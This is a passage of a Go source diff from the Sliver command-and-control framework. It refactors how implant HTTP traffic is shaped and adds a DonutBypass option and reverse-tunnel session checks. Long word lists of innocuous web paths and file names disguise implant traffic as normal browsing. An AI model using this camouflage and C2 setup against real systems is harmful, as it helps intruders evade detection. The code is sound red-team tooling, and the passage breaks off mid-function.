||||
SegmentType: 0,
|
||||
Value: poll,
|
||||
IsFile: true,
|
||||
Value: file,
|
||||
})
|
||||
}
|
||||
|
||||
for _, session := range SessionFiles {
|
||||
for _, path := range Paths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 1,
|
||||
Value: session,
|
||||
})
|
||||
}
|
||||
|
||||
for _, close := range CloseFiles {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 2,
|
||||
Value: close,
|
||||
})
|
||||
}
|
||||
|
||||
for _, stager := range StagerFiles {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 3,
|
||||
Value: stager,
|
||||
})
|
||||
}
|
||||
|
||||
// paths
|
||||
for _, poll := range PollPaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 0,
|
||||
Value: poll,
|
||||
})
|
||||
}
|
||||
|
||||
for _, session := range SessionPaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 1,
|
||||
Value: session,
|
||||
})
|
||||
}
|
||||
|
||||
for _, close := range ClosePaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 2,
|
||||
Value: close,
|
||||
})
|
||||
}
|
||||
|
||||
for _, stager := range StagerPaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 3,
|
||||
Value: stager,
|
||||
IsFile: false,
|
||||
Value: path,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -376,7 +301,7 @@ var (
|
||||
"csrf-state",
|
||||
"AWSALBCORS",
|
||||
}
|
||||
PollFiles = []string{
|
||||
Files = []string{
|
||||
"bootstrap",
|
||||
"bootstrap.min",
|
||||
"jquery.min",
|
||||
@@ -487,7 +412,7 @@ var (
|
||||
"storage",
|
||||
"offline",
|
||||
}
|
||||
PollPaths = []string{
|
||||
Paths = []string{
|
||||
"js",
|
||||
"umd",
|
||||
"assets",
|
||||
@@ -555,379 +480,4 @@ var (
|
||||
"libjs",
|
||||
"libjsscripts",
|
||||
}
|
||||
SessionFiles = []string{
|
||||
"login",
|
||||
"signin",
|
||||
"api",
|
||||
"samples",
|
||||
"rpc",
|
||||
"index",
|
||||
"admin",
|
||||
"register",
|
||||
"sign-up",
|
||||
"index",
|
||||
"config",
|
||||
"functions",
|
||||
"database",
|
||||
"header",
|
||||
"footer",
|
||||
"login",
|
||||
"register",
|
||||
"logout",
|
||||
"profile",
|
||||
"dashboard",
|
||||
"home",
|
||||
"about",
|
||||
"contact",
|
||||
"services",
|
||||
"utils",
|
||||
"common",
|
||||
"init",
|
||||
"auth",
|
||||
"session",
|
||||
"error",
|
||||
"handler",
|
||||
"api",
|
||||
"ajax",
|
||||
"form",
|
||||
"validation",
|
||||
"upload",
|
||||
"download",
|
||||
"report",
|
||||
"admin",
|
||||
"user",
|
||||
"account",
|
||||
"settings",
|
||||
"utility",
|
||||
"script",
|
||||
"mailer",
|
||||
"cron",
|
||||
"cache",
|
||||
"template",
|
||||
"page",
|
||||
"model",
|
||||
"view",
|
||||
"controller",
|
||||
"middleware",
|
||||
"router",
|
||||
"route",
|
||||
"helper",
|
||||
"library",
|
||||
"plugin",
|
||||
"widget",
|
||||
"widgetized",
|
||||
"search",
|
||||
"filter",
|
||||
"sort",
|
||||
"pagination",
|
||||
"backup",
|
||||
"restore",
|
||||
"upgrade",
|
||||
"install",
|
||||
"uninstall",
|
||||
"upgrade",
|
||||
"maintenance",
|
||||
"sitemap",
|
||||
"rss",
|
||||
"atom",
|
||||
"xml",
|
||||
"json",
|
||||
"rss",
|
||||
"log",
|
||||
"debug",
|
||||
"test",
|
||||
"mock",
|
||||
"stub",
|
||||
"mockup",
|
||||
"mockdata",
|
||||
"temp",
|
||||
"tmp",
|
||||
"backup",
|
||||
"old",
|
||||
"new",
|
||||
"demo",
|
||||
"example",
|
||||
"sample",
|
||||
"prototype",
|
||||
"backup",
|
||||
"import",
|
||||
"export",
|
||||
"sync",
|
||||
"async",
|
||||
"validate",
|
||||
"authenticate",
|
||||
}
|
||||
SessionPaths = []string{
|
||||
"php",
|
||||
"api",
|
||||
"upload",
|
||||
"actions",
|
||||
"rest",
|
||||
"v1",
|
||||
"auth",
|
||||
"authenticate",
|
||||
"oauth",
|
||||
"oauth2",
|
||||
"oauth2callback",
|
||||
"database",
|
||||
"db",
|
||||
"namespaces",
|
||||
"home",
|
||||
"about",
|
||||
"contact",
|
||||
"services",
|
||||
"products",
|
||||
"blog",
|
||||
"news",
|
||||
"events",
|
||||
"gallery",
|
||||
"portfolio",
|
||||
"shop",
|
||||
"store",
|
||||
"login",
|
||||
"register",
|
||||
"profile",
|
||||
"dashboard",
|
||||
"account",
|
||||
"settings",
|
||||
"faq",
|
||||
"help",
|
||||
"support",
|
||||
"download",
|
||||
"upload",
|
||||
"subscribe",
|
||||
"unsubscribe",
|
||||
"search",
|
||||
"sitemap",
|
||||
"privacy",
|
||||
"terms",
|
||||
"conditions",
|
||||
"policy",
|
||||
"cookie",
|
||||
"checkout",
|
||||
"cart",
|
||||
"order",
|
||||
"payment",
|
||||
"confirmation",
|
||||
"feedback",
|
||||
"survey",
|
||||
"testimonial",
|
||||
"newsletter",
|
||||
"membership",
|
||||
"forum",
|
||||
"signin",
|
||||
"signup",
|
||||
"forum",
|
||||
"contact-us",
|
||||
"pricing",
|
||||
"donate",
|
||||
"partners",
|
||||
"team",
|
||||
"career",
|
||||
"join-us",
|
||||
"downloads",
|
||||
"events",
|
||||
"explore",
|
||||
"insights",
|
||||
"newsroom",
|
||||
"press",
|
||||
"media",
|
||||
"blog",
|
||||
"articles",
|
||||
"research",
|
||||
"library",
|
||||
"resources",
|
||||
"inspiration",
|
||||
"academy",
|
||||
"labs",
|
||||
"developers",
|
||||
"api",
|
||||
"integration",
|
||||
"status",
|
||||
"changelog",
|
||||
"roadmap",
|
||||
"solutions",
|
||||
"clients",
|
||||
"testimonials",
|
||||
"success-stories",
|
||||
"clients",
|
||||
"partners",
|
||||
"404",
|
||||
"500",
|
||||
"error",
|
||||
"maintenance",
|
||||
"upgrade",
|
||||
}
|
||||
CloseFiles = []string{
|
||||
"image",
|
||||
"logo",
|
||||
"icon",
|
||||
"background",
|
||||
"banner",
|
||||
"button",
|
||||
"avatar",
|
||||
"photo",
|
||||
"picture",
|
||||
"header",
|
||||
"footer",
|
||||
"thumbnail",
|
||||
"screenshot",
|
||||
"cover",
|
||||
"badge",
|
||||
"illustration",
|
||||
"graphic",
|
||||
"map",
|
||||
"diagram",
|
||||
"chart",
|
||||
"emoji",
|
||||
"flag",
|
||||
"arrow",
|
||||
"social",
|
||||
"media",
|
||||
"document",
|
||||
"product",
|
||||
"menu",
|
||||
"navigation",
|
||||
"search",
|
||||
"result",
|
||||
"loading",
|
||||
"progress",
|
||||
"error",
|
||||
"success",
|
||||
"warning",
|
||||
"info",
|
||||
"question",
|
||||
"exclamation",
|
||||
"play",
|
||||
"pause",
|
||||
"stop",
|
||||
"next",
|
||||
"previous",
|
||||
"rewind",
|
||||
"forward",
|
||||
"volume",
|
||||
"mute",
|
||||
"speaker",
|
||||
"microphone",
|
||||
"camera",
|
||||
"video",
|
||||
"audio",
|
||||
"file",
|
||||
"folder",
|
||||
"download",
|
||||
"upload",
|
||||
"share",
|
||||
"like",
|
||||
"heart",
|
||||
"star",
|
||||
"comment",
|
||||
"chat",
|
||||
"speech bubble",
|
||||
"message",
|
||||
"envelope",
|
||||
"mail",
|
||||
"clock",
|
||||
"calendar",
|
||||
"location",
|
||||
"pin",
|
||||
"home",
|
||||
"settings",
|
||||
"gear",
|
||||
"tools",
|
||||
"user",
|
||||
"profile",
|
||||
"login",
|
||||
"logout",
|
||||
"register",
|
||||
"lock",
|
||||
"unlock",
|
||||
"shield",
|
||||
"security",
|
||||
"privacy",
|
||||
"checkmark",
|
||||
"cross",
|
||||
"delete",
|
||||
"trash",
|
||||
"restore",
|
||||
"recycle",
|
||||
"favorite",
|
||||
"bookmark",
|
||||
"star",
|
||||
"eye",
|
||||
"magnifier",
|
||||
"question mark",
|
||||
"information",
|
||||
"exclamationmark",
|
||||
"help",
|
||||
"favicon",
|
||||
"sample",
|
||||
"example",
|
||||
}
|
||||
ClosePaths = []string{
|
||||
"static",
|
||||
"www",
|
||||
"assets",
|
||||
"images",
|
||||
"icons",
|
||||
"image",
|
||||
"icon",
|
||||
"png",
|
||||
"images",
|
||||
"photos",
|
||||
"pictures",
|
||||
"pics",
|
||||
"gallery",
|
||||
"media",
|
||||
"uploads",
|
||||
"assets",
|
||||
"img",
|
||||
"graphics",
|
||||
"visuals",
|
||||
"media-library",
|
||||
"artwork",
|
||||
"design",
|
||||
"diagrams",
|
||||
"icons",
|
||||
"logos",
|
||||
"banners",
|
||||
"thumbnails",
|
||||
"avatars",
|
||||
"screenshots",
|
||||
"headers",
|
||||
"footers",
|
||||
"backgrounds",
|
||||
"buttons",
|
||||
"illustrations",
|
||||
"diagrams",
|
||||
"photoshoots",
|
||||
"picoftheday",
|
||||
"imagebank",
|
||||
"album",
|
||||
"memories",
|
||||
"memes",
|
||||
"snapshots",
|
||||
"portraits",
|
||||
"posters",
|
||||
"renders",
|
||||
"cover-photos",
|
||||
"wallpapers",
|
||||
"photography",
|
||||
"visualizations",
|
||||
"moodboard",
|
||||
"infographics",
|
||||
"renders",
|
||||
"icons",
|
||||
"layers",
|
||||
"picgallery",
|
||||
"picdump",
|
||||
"imagelibrary",
|
||||
}
|
||||
StagerFiles = []string{
|
||||
"attribute_text_w01_regular", "ZillaSlab-Regular.subset.bbc33fb47cf6",
|
||||
"ZillaSlab-Bold.subset.e96c15f68c68", "Inter-Regular",
|
||||
"Inter-Medium",
|
||||
}
|
||||
StagerPaths = []string{
|
||||
"static", "assets", "fonts", "locales",
|
||||
}
|
||||
)
|
||||
@@ -24,6 +24,7 @@ import (
|
||||
"path/filepath"
|
||||
|
||||
"github.com/bishopfox/sliver/server/assets"
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
@@ -124,13 +125,20 @@ type WatchTowerConfig struct {
|
||||
XForceApiPassword string `json:"xforce_api_password"`
|
||||
}
|
||||
|
||||
// http server defaults for anonymous requests
|
||||
type HttpDefaultConfig struct {
|
||||
Headers []models.HttpC2Header `json:"headers"`
|
||||
}
|
||||
|
||||
// ServerConfig - Server config
|
||||
type ServerConfig struct {
|
||||
DaemonMode bool `json:"daemon_mode"`
|
||||
DaemonConfig *DaemonConfig `json:"daemon"`
|
||||
Logs *LogConfig `json:"logs"`
|
||||
Watchtower *WatchTowerConfig `json:"watch_tower"`
|
||||
GoProxy string `json:"go_proxy"`
|
||||
DaemonMode bool `json:"daemon_mode"`
|
||||
DaemonConfig *DaemonConfig `json:"daemon"`
|
||||
Logs *LogConfig `json:"logs"`
|
||||
Watchtower *WatchTowerConfig `json:"watch_tower"`
|
||||
GoProxy string `json:"go_proxy"`
|
||||
HTTPDefaults *HttpDefaultConfig `json:"http_default"`
|
||||
DonutBypass int `json:"donut_bypass"` // 1=skip, 2=abort on fail, 3=continue on fail.
|
||||
|
||||
// 'GOOS/GOARCH' -> CC path
|
||||
CC map[string]string `json:"cc"`
|
||||
@@ -187,6 +195,10 @@ func GetServerConfig() *ServerConfig {
|
||||
}
|
||||
log.RootLogger.SetLevel(log.LevelFrom(config.Logs.Level))
|
||||
|
||||
if config.DonutBypass < 1 || config.DonutBypass > 3 {
|
||||
config.DonutBypass = 1
|
||||
}
|
||||
|
||||
err := config.Save() // This updates the config with any missing fields
|
||||
if err != nil {
|
||||
serverConfigLog.Errorf("Failed to save default config %s", err)
|
||||
@@ -206,7 +218,18 @@ func getDefaultServerConfig() *ServerConfig {
|
||||
GRPCUnaryPayloads: false,
|
||||
GRPCStreamPayloads: false,
|
||||
},
|
||||
CC: map[string]string{},
|
||||
CXX: map[string]string{},
|
||||
HTTPDefaults: &HttpDefaultConfig{
|
||||
Headers: []models.HttpC2Header{
|
||||
models.HttpC2Header{
|
||||
Method: "GET",
|
||||
Name: "Cache-Control",
|
||||
Value: "no-store, no-cache, must-revalidate",
|
||||
Probability: 100,
|
||||
},
|
||||
},
|
||||
},
|
||||
DonutBypass: 3,
|
||||
CC: map[string]string{},
|
||||
CXX: map[string]string{},
|
||||
}
|
||||
}
|
||||
@@ -212,7 +212,7 @@ func startMultiplayerModeCmd(cmd *cobra.Command, _ []string) {
|
||||
Type: "multiplayer",
|
||||
MultiConf: multiConfig,
|
||||
}
|
||||
err = db.SaveHTTPC2Listener(listenerJob)
|
||||
err = db.SaveC2Listener(listenerJob)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Failed to save job %v\n", err)
|
||||
}
|
||||
|
||||
@@ -36,7 +36,7 @@ func TestRootOnlyVerifyCertificate(t *testing.T) {
|
||||
}
|
||||
|
||||
// Test with wrong CA
|
||||
wrongCert, _ := certs.GenerateECCCertificate(certs.HTTPSCA, "foobar", false, false)
|
||||
wrongCert, _ := certs.GenerateECCCertificate(certs.HTTPSCA, "foobar", false, false, false)
|
||||
block, _ = pem.Decode(wrongCert)
|
||||
err = clienttransport.RootOnlyVerifyCertificate(config.CACertificate, [][]byte{block.Bytes})
|
||||
if err == nil {
|
||||
|
||||
@@ -77,7 +77,6 @@ func serverOnlyCmds() (commands []*cobra.Command) {
|
||||
f.StringP("lhost", "L", "", "interface to bind server to")
|
||||
f.Uint16P("lport", "l", 31337, "tcp listen port")
|
||||
f.BoolP("tailscale", "T", false, "only expose multiplayer interface over Tailscale (requires TS_AUTHKEY)")
|
||||
f.BoolP("persistent", "p", false, "make persistent across restarts")
|
||||
})
|
||||
|
||||
commands = append(commands, startMultiplayer)
|
||||
|
||||
@@ -8,6 +8,7 @@ import (
|
||||
var (
|
||||
Rtunnels map[uint64]*RTunnel = make(map[uint64]*RTunnel)
|
||||
mutex sync.RWMutex
|
||||
pending sync.Map
|
||||
)
|
||||
|
||||
// RTunnel - Duplex byte read/write
|
||||
@@ -95,6 +96,21 @@ func RemoveRTunnel(ID uint64) {
|
||||
delete(Rtunnels, ID)
|
||||
}
|
||||
|
||||
func AddPending(sessionID string, connStr string) {
|
||||
pending.Store(sessionID, connStr)
|
||||
}
|
||||
|
||||
func DeletePending(sessionID string) {
|
||||
pending.Delete(sessionID)
|
||||
}
|
||||
|
||||
func Check(sessionID string, connStr string) bool {
|
||||
if val, ok := pending.Load(sessionID); ok {
|
||||
return val == connStr
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// func removeAndCloseAllRTunnels() {
|
||||
// mutex.Lock()
|
||||
// defer mutex.Unlock()
|
||||
|
||||
+10
-58
@@ -35,7 +35,6 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/server/configs"
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
"github.com/gofrs/uuid"
|
||||
"gorm.io/gorm"
|
||||
@@ -307,57 +306,6 @@ func LoadHTTPC2s() ([]*clientpb.HTTPC2Config, error) {
|
||||
return pbC2Configs, nil
|
||||
}
|
||||
|
||||
// used to prevent duplicate stager extensions
|
||||
func SearchStageExtensions(stagerExtension string, profileName string) error {
|
||||
c2Config := models.HttpC2ImplantConfig{}
|
||||
err := Session().Where(&models.HttpC2ImplantConfig{
|
||||
StagerFileExtension: stagerExtension,
|
||||
}).Find(&c2Config).Error
|
||||
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if c2Config.StagerFileExtension != "" && profileName != "" {
|
||||
// check if the stager extension is used in the provided profile
|
||||
httpC2Config := models.HttpC2Config{}
|
||||
err = Session().Where(&models.HttpC2Config{ID: c2Config.HttpC2ConfigID}).Find(&httpC2Config).Error
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if httpC2Config.Name == profileName {
|
||||
return nil
|
||||
}
|
||||
return configs.ErrDuplicateStageExt
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// used to prevent duplicate start session extensions
|
||||
func SearchStartSessionExtensions(StartSessionFileExt string, profileName string) error {
|
||||
c2Config := models.HttpC2ImplantConfig{}
|
||||
err := Session().Where(&models.HttpC2ImplantConfig{
|
||||
StartSessionFileExtension: StartSessionFileExt,
|
||||
}).Find(&c2Config).Error
|
||||
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if c2Config.StartSessionFileExtension != "" && profileName != "" {
|
||||
httpC2Config := models.HttpC2Config{}
|
||||
err = Session().Where(&models.HttpC2Config{ID: c2Config.HttpC2ConfigID}).Find(&httpC2Config).Error
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if httpC2Config.Name == profileName {
|
||||
return nil
|
||||
}
|
||||
return configs.ErrDuplicateStartSessionExt
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func LoadHTTPC2ConfigByName(name string) (*clientpb.HTTPC2Config, error) {
|
||||
if len(name) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
@@ -567,7 +515,7 @@ func HTTPC2ConfigUpdate(newConf *clientpb.HTTPC2Config, oldConf *clientpb.HTTPC2
|
||||
return nil
|
||||
}
|
||||
|
||||
func SaveHTTPC2Listener(listenerConf *clientpb.ListenerJob) error {
|
||||
func SaveC2Listener(listenerConf *clientpb.ListenerJob) error {
|
||||
dbListener := models.ListenerJobFromProtobuf(listenerConf)
|
||||
dbSession := Session()
|
||||
result := dbSession.Clauses(clause.OnConflict{
|
||||
@@ -968,14 +916,18 @@ func BeaconTasksByBeaconID(beaconID string) ([]*clientpb.BeaconTask, error) {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
beaconTasks := []*models.BeaconTask{}
|
||||
err := Session().Select([]string{
|
||||
"ID", "EnvelopeID", "BeaconID", "CreatedAt", "State", "SentAt", "CompletedAt",
|
||||
"Description",
|
||||
}).Where(&models.BeaconTask{BeaconID: id}).Find(&beaconTasks).Error
|
||||
/*
|
||||
Even though we are fetching the request/response columns here, we will not send
|
||||
them back in the response
|
||||
If we SELECT those columns out, that will bypass GORM's reflection-based field
|
||||
to column mapping and can cause GORM not to map the created_at field correctly
|
||||
*/
|
||||
err := Session().Where(&models.BeaconTask{BeaconID: id}).Find(&beaconTasks).Error
|
||||
|
||||
pbBeaconTasks := []*clientpb.BeaconTask{}
|
||||
for _, beaconTask := range beaconTasks {
|
||||
pbBeaconTasks = append(pbBeaconTasks, beaconTask.ToProtobuf(true))
|
||||
// Do not preserve the request and response columns
|
||||
pbBeaconTasks = append(pbBeaconTasks, beaconTask.ToProtobuf(false))
|
||||
}
|
||||
return pbBeaconTasks, err
|
||||
}
|
||||
|
||||
+81
-120
@@ -20,6 +20,7 @@ package models
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
insecureRand "math/rand"
|
||||
@@ -66,20 +67,6 @@ func (h *HttpC2Config) ToProtobuf() *clientpb.HTTPC2Config {
|
||||
}
|
||||
}
|
||||
|
||||
func (h *HttpC2Config) GenerateImplantHTTPC2Config() *clientpb.HTTPC2ImplantConfig {
|
||||
params := make([]*clientpb.HTTPC2URLParameter, len(h.ImplantConfig.ExtraURLParameters))
|
||||
for i, param := range h.ImplantConfig.ExtraURLParameters {
|
||||
params[i] = param.ToProtobuf()
|
||||
}
|
||||
return &clientpb.HTTPC2ImplantConfig{
|
||||
UserAgent: h.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: h.ImplantConfig.ChromeBaseVersion,
|
||||
MacOSVersion: h.ImplantConfig.MacOSVersion,
|
||||
NonceQueryArgChars: h.ImplantConfig.NonceQueryArgChars,
|
||||
ExtraURLParameters: params,
|
||||
}
|
||||
}
|
||||
|
||||
// HttpC2ServerConfig - HTTP C2 Server Configuration
|
||||
type HttpC2ServerConfig struct {
|
||||
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
|
||||
@@ -124,18 +111,23 @@ type HttpC2ImplantConfig struct {
|
||||
ExtraURLParameters []HttpC2URLParameter
|
||||
Headers []HttpC2Header
|
||||
|
||||
MaxFiles int32
|
||||
MinFiles int32
|
||||
MaxPaths int32
|
||||
MinPaths int32
|
||||
// File/Path Generation subset size of the http config to select during generation
|
||||
// see randomSample function
|
||||
MaxFileGen int32
|
||||
MinFileGen int32
|
||||
MaxPathGen int32
|
||||
MinPathGen int32
|
||||
|
||||
StagerFileExtension string
|
||||
PollFileExtension string
|
||||
StartSessionFileExtension string
|
||||
SessionFileExtension string
|
||||
CloseFileExtension string
|
||||
// implant configuration for path length
|
||||
MaxPathLength int32
|
||||
MinPathLength int32
|
||||
|
||||
PathSegments []HttpC2PathSegment
|
||||
// gorm doesn not support string arrays apparently
|
||||
Extensions string
|
||||
|
||||
PathSegments []HttpC2PathSegment
|
||||
NonceQueryLength int32
|
||||
NonceMode string
|
||||
}
|
||||
|
||||
func (h *HttpC2ImplantConfig) BeforeCreate(tx *gorm.DB) (err error) {
|
||||
@@ -157,23 +149,23 @@ func (h *HttpC2ImplantConfig) ToProtobuf() *clientpb.HTTPC2ImplantConfig {
|
||||
pathSegments[i] = segment.ToProtobuf()
|
||||
}
|
||||
return &clientpb.HTTPC2ImplantConfig{
|
||||
ID: h.ID.String(),
|
||||
UserAgent: h.UserAgent,
|
||||
ChromeBaseVersion: h.ChromeBaseVersion,
|
||||
MacOSVersion: h.MacOSVersion,
|
||||
NonceQueryArgChars: h.NonceQueryArgChars,
|
||||
ExtraURLParameters: params,
|
||||
Headers: headers,
|
||||
MaxFiles: h.MaxFiles,
|
||||
MinFiles: h.MinFiles,
|
||||
MaxPaths: h.MaxPaths,
|
||||
MinPaths: h.MinPaths,
|
||||
StagerFileExtension: h.StagerFileExtension,
|
||||
PollFileExtension: h.PollFileExtension,
|
||||
StartSessionFileExtension: h.StartSessionFileExtension,
|
||||
SessionFileExtension: h.SessionFileExtension,
|
||||
CloseFileExtension: h.CloseFileExtension,
|
||||
PathSegments: pathSegments,
|
||||
ID: h.ID.String(),
|
||||
UserAgent: h.UserAgent,
|
||||
ChromeBaseVersion: h.ChromeBaseVersion,
|
||||
MacOSVersion: h.MacOSVersion,
|
||||
NonceQueryArgChars: h.NonceQueryArgChars,
|
||||
ExtraURLParameters: params,
|
||||
Headers: headers,
|
||||
MaxFileGen: h.MaxFileGen,
|
||||
MinFileGen: h.MinFileGen,
|
||||
MaxPathGen: h.MaxPathGen,
|
||||
MinPathGen: h.MinPathGen,
|
||||
MaxPathLength: h.MaxPathLength,
|
||||
MinPathLength: h.MinPathLength,
|
||||
Extensions: strings.Split(h.Extensions, ","),
|
||||
PathSegments: pathSegments,
|
||||
NonceQueryLength: h.NonceQueryLength,
|
||||
NonceMode: h.NonceMode,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -271,10 +263,9 @@ func (h *HttpC2PathSegment) BeforeCreate(tx *gorm.DB) (err error) {
|
||||
|
||||
func (h *HttpC2PathSegment) ToProtobuf() *clientpb.HTTPC2PathSegment {
|
||||
return &clientpb.HTTPC2PathSegment{
|
||||
ID: h.ID.String(),
|
||||
IsFile: h.IsFile,
|
||||
SegmentType: clientpb.HTTPC2SegmentType(h.SegmentType),
|
||||
Value: h.Value,
|
||||
ID: h.ID.String(),
|
||||
IsFile: h.IsFile,
|
||||
Value: h.Value,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -330,29 +321,28 @@ func HTTPC2ConfigFromProtobuf(pbHttpC2Config *clientpb.HTTPC2Config) *HttpC2Conf
|
||||
pathSegments := []HttpC2PathSegment{}
|
||||
for _, pathSegment := range pbHttpC2Config.ImplantConfig.PathSegments {
|
||||
pathSegments = append(pathSegments, HttpC2PathSegment{
|
||||
IsFile: pathSegment.IsFile,
|
||||
SegmentType: int32(pathSegment.SegmentType),
|
||||
Value: pathSegment.Value,
|
||||
IsFile: pathSegment.IsFile,
|
||||
Value: pathSegment.Value,
|
||||
})
|
||||
}
|
||||
|
||||
cfg.ImplantConfig = HttpC2ImplantConfig{
|
||||
UserAgent: pbHttpC2Config.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: pbHttpC2Config.ImplantConfig.ChromeBaseVersion,
|
||||
MacOSVersion: pbHttpC2Config.ImplantConfig.MacOSVersion,
|
||||
NonceQueryArgChars: pbHttpC2Config.ImplantConfig.NonceQueryArgChars,
|
||||
ExtraURLParameters: params,
|
||||
Headers: implantHeaders,
|
||||
MaxFiles: pbHttpC2Config.ImplantConfig.MaxFiles,
|
||||
MinFiles: pbHttpC2Config.ImplantConfig.MinFiles,
|
||||
MaxPaths: pbHttpC2Config.ImplantConfig.MaxPaths,
|
||||
MinPaths: pbHttpC2Config.ImplantConfig.MinPaths,
|
||||
StagerFileExtension: pbHttpC2Config.ImplantConfig.StagerFileExtension,
|
||||
PollFileExtension: pbHttpC2Config.ImplantConfig.PollFileExtension,
|
||||
StartSessionFileExtension: pbHttpC2Config.ImplantConfig.StartSessionFileExtension,
|
||||
SessionFileExtension: pbHttpC2Config.ImplantConfig.SessionFileExtension,
|
||||
CloseFileExtension: pbHttpC2Config.ImplantConfig.CloseFileExtension,
|
||||
PathSegments: pathSegments,
|
||||
UserAgent: pbHttpC2Config.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: pbHttpC2Config.ImplantConfig.ChromeBaseVersion,
|
||||
MacOSVersion: pbHttpC2Config.ImplantConfig.MacOSVersion,
|
||||
NonceQueryArgChars: pbHttpC2Config.ImplantConfig.NonceQueryArgChars,
|
||||
ExtraURLParameters: params,
|
||||
Headers: implantHeaders,
|
||||
MaxFileGen: pbHttpC2Config.ImplantConfig.MaxFileGen,
|
||||
MinFileGen: pbHttpC2Config.ImplantConfig.MinFileGen,
|
||||
MaxPathGen: pbHttpC2Config.ImplantConfig.MaxPathGen,
|
||||
MinPathGen: pbHttpC2Config.ImplantConfig.MinPathGen,
|
||||
MaxPathLength: pbHttpC2Config.ImplantConfig.MaxPathLength,
|
||||
MinPathLength: pbHttpC2Config.ImplantConfig.MinPathLength,
|
||||
Extensions: strings.Join(pbHttpC2Config.ImplantConfig.Extensions, ","),
|
||||
PathSegments: pathSegments,
|
||||
NonceQueryLength: pbHttpC2Config.ImplantConfig.NonceQueryLength,
|
||||
NonceMode: pbHttpC2Config.ImplantConfig.NonceMode,
|
||||
}
|
||||
|
||||
// C2 Config
|
||||
@@ -370,18 +360,19 @@ func RandomizeImplantConfig(h *clientpb.HTTPC2ImplantConfig, goos string, goarch
|
||||
ExtraURLParameters: h.ExtraURLParameters,
|
||||
Headers: h.Headers,
|
||||
|
||||
PollFileExtension: h.PollFileExtension,
|
||||
StartSessionFileExtension: h.StartSessionFileExtension,
|
||||
SessionFileExtension: h.SessionFileExtension,
|
||||
CloseFileExtension: h.CloseFileExtension,
|
||||
PathSegments: RandomPathSegments(h),
|
||||
UserAgent: GenerateUserAgent(goos, goarch, h.UserAgent, h.ChromeBaseVersion, h.MacOSVersion),
|
||||
ChromeBaseVersion: h.ChromeBaseVersion,
|
||||
MacOSVersion: h.MacOSVersion,
|
||||
MinFiles: h.MinFiles,
|
||||
MaxFiles: h.MaxFiles,
|
||||
MinPaths: h.MinPaths,
|
||||
MaxPaths: h.MaxPaths,
|
||||
Extensions: h.Extensions,
|
||||
PathSegments: RandomPathSegments(h),
|
||||
UserAgent: GenerateUserAgent(goos, goarch, h.UserAgent, h.ChromeBaseVersion, h.MacOSVersion),
|
||||
ChromeBaseVersion: h.ChromeBaseVersion,
|
||||
MacOSVersion: h.MacOSVersion,
|
||||
MinFileGen: h.MinFileGen,
|
||||
MaxFileGen: h.MaxFileGen,
|
||||
MinPathGen: h.MinPathGen,
|
||||
MaxPathGen: h.MaxPathGen,
|
||||
MinPathLength: h.MinPathLength,
|
||||
MaxPathLength: h.MaxPathLength,
|
||||
NonceQueryLength: h.NonceQueryLength,
|
||||
NonceMode: h.NonceMode,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -442,61 +433,31 @@ func MacOSVer(MacOSVersion string) string {
|
||||
func RandomPathSegments(h *clientpb.HTTPC2ImplantConfig) []*clientpb.HTTPC2PathSegment {
|
||||
|
||||
var (
|
||||
sessionPaths []*clientpb.HTTPC2PathSegment
|
||||
closePaths []*clientpb.HTTPC2PathSegment
|
||||
pollPaths []*clientpb.HTTPC2PathSegment
|
||||
sessionFiles []*clientpb.HTTPC2PathSegment
|
||||
closeFiles []*clientpb.HTTPC2PathSegment
|
||||
pollFiles []*clientpb.HTTPC2PathSegment
|
||||
paths []*clientpb.HTTPC2PathSegment
|
||||
files []*clientpb.HTTPC2PathSegment
|
||||
)
|
||||
for _, pathSegment := range h.PathSegments {
|
||||
switch pathSegment.SegmentType {
|
||||
case 0:
|
||||
if pathSegment.IsFile {
|
||||
pollFiles = append(pollFiles, pathSegment)
|
||||
} else {
|
||||
pollPaths = append(pollPaths, pathSegment)
|
||||
}
|
||||
case 1:
|
||||
if pathSegment.IsFile {
|
||||
sessionFiles = append(sessionFiles, pathSegment)
|
||||
} else {
|
||||
sessionPaths = append(sessionPaths, pathSegment)
|
||||
}
|
||||
case 2:
|
||||
if pathSegment.IsFile {
|
||||
closeFiles = append(closeFiles, pathSegment)
|
||||
} else {
|
||||
